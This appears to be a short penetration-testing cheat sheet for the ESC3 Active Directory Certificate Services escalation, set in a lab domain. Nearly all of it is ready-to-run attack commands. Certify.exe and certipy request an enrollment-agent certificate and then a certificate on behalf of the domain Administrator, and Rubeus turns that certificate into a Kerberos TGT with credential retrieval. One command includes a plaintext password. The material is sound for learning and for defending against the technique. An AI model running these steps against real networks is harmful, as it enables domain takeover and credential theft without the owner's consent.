ESC3

Enumerate ESC3 vulnerability

Find a template whose EKU permits using the issued certificate as a Certificate Request Agent.

Windows

Requesting a certificate

PS /home/bobbuilder> .\Certify.exe request /ca:CA-Server.local.lab\CA-SERVER /template:Template3

Convert Certificate

Request a Certificate on behalf of the Administrator

PS /home/bobbuilder> .\Certify.exe request /ca:CA-Server.local.lab\CA-SERVER /template:Template3 /onbehalfof:lab\Administrator /enrollcert:cert.pfx

Convert Certificate

admin.pfx

Request a TGT as the Administrator

PS /home/bobbuilder> .\Rubeus.exe asktgt /user:user1@local.lab /certificate:admin.pfx /getcredentials

Linux

Requesting a certificate

bobbuilder[/home]$ certipy req -ca lab-LAB-DC-CA -template 'Template3' /altname:administrator@local.lab

Requesting a certificate on behalf of the Administrator account

bobbuilder[/home]$ certipy req -u 'user1@local.lab' -p 'password1' -ca CA-Server.local.lab -template 'Template3' -on-behalf-of 'lab\administrator' -pfx user1.pfx